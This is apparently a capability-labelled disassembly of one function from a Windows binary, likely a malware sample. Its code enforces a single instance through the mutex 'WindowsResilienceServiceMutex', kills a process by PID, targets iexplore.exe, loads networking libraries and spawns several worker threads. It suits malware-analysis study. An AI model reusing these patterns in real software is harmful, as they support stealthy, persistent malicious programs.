Function at 0x403370
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Get program files directory
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403476
push 0x406aa0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x403476
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
push 0x40
push 0
lea edx, [ebp - 0x7c]
push edx
call fcn.00401940
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 8]
push eax
push str._s_d
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, 1
test edx, edx
je 0x403476
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40345c
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004011e0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40345a
mov eax, dword [ebp - 4]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403476
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4033de
cmp dword [0x4071cc], 0
je 0x40349d
mov ecx, dword [0x4071cc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x40349d
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40347f
cmp dword [0x4071c0], 0
jne 0x4034d7
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.WindowsResilienceServiceMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4071c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4034d7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x4071c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x407a8c], eax
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407af8], eax
cmp dword [0x4071c4], 0
jne 0x4035d2
call fcn.00401490
mov dword [0x407af0], eax
push 0x208
push 0
push 0x4073a0
call fcn.00401940
add esp, 0xc
cmp dword [0x407af0], 1
jne 0x40356b
mov dword [ebp - 4], 0x2a
push 0x4073a0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x406af8
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403597
mov dword [ebp - 4], 0x26
push 0x4073a0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Internet_Exploreriexplore.exe
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x407a90], eax
push 0x208
push 0x407840
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x407840
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
call fcn.00402f90
add esp, 4
jmp 0x403648
push 0x406b78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.gdi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.rpcrt4.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1c
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00401940
add esp, 0xc
push 0x1c
lea edx, [ebp - 0x3c]
push edx
push entry0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x38]
mov dword [0x407a90], eax
call fcn.00402ad0
test eax, eax
jne 0x403656
call fcn.00402b70
call fcn.00402e90
push str.GetLastInputInfo
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407afc], eax
call fcn.00401410
push 0x9c40
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x407aec], eax
mov dword [0x407228], 0x9c40
mov dword [0x407a9c], 0
push str.NoProcess
push 0x4071e0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x407a98], 0x124f80
mov dword [0x407a94], 0xb71b00
push 0x18
push 0
push 0x407a60
call fcn.00401940
add esp, 0xc
push 0x407a60
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x407a78], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x407a7c], eax
push 5
push 0x407380
call fcn.004012e0
add esp, 8
push 0xa
push 0
push 0x407370
call fcn.00401940
add esp, 0xc
push 0xa
push 0x407370
push 0x407380
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407380
call fcn.00401540
add esp, 0x10
cmp dword [0x4071d4], 0
jne 0x4037ba
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 1
push 0
push 0x13880
push 0
push 4
lea edx, [ebp - 0x20]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x4071d4], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x4071d4]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x407220], eax
push 0x13880
push 0
mov ecx, dword [0x407220]
push ecx
call fcn.00401940
add esp, 0xc
jmp 0x4037d4
push 0
push 0
push 0
push 6
mov edx, dword [0x4071d4]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x407220], eax
mov dword [0x407224], 0
push 1
call fcn.00402f90
add esp, 4
push 0
push 0
push 0
push 0x401120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
push 0x3000
push 0x65000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4071d8], eax
push 0
push 0
push 0
push 0x402410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403ab0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a80], eax
push 0
push 0
push 0
push 0x402d40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a88], eax
push 0
push 0
push 0
push 0x4030c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a84], eax
call fcn.004027e0
mov esp, ebp
pop ebp
ret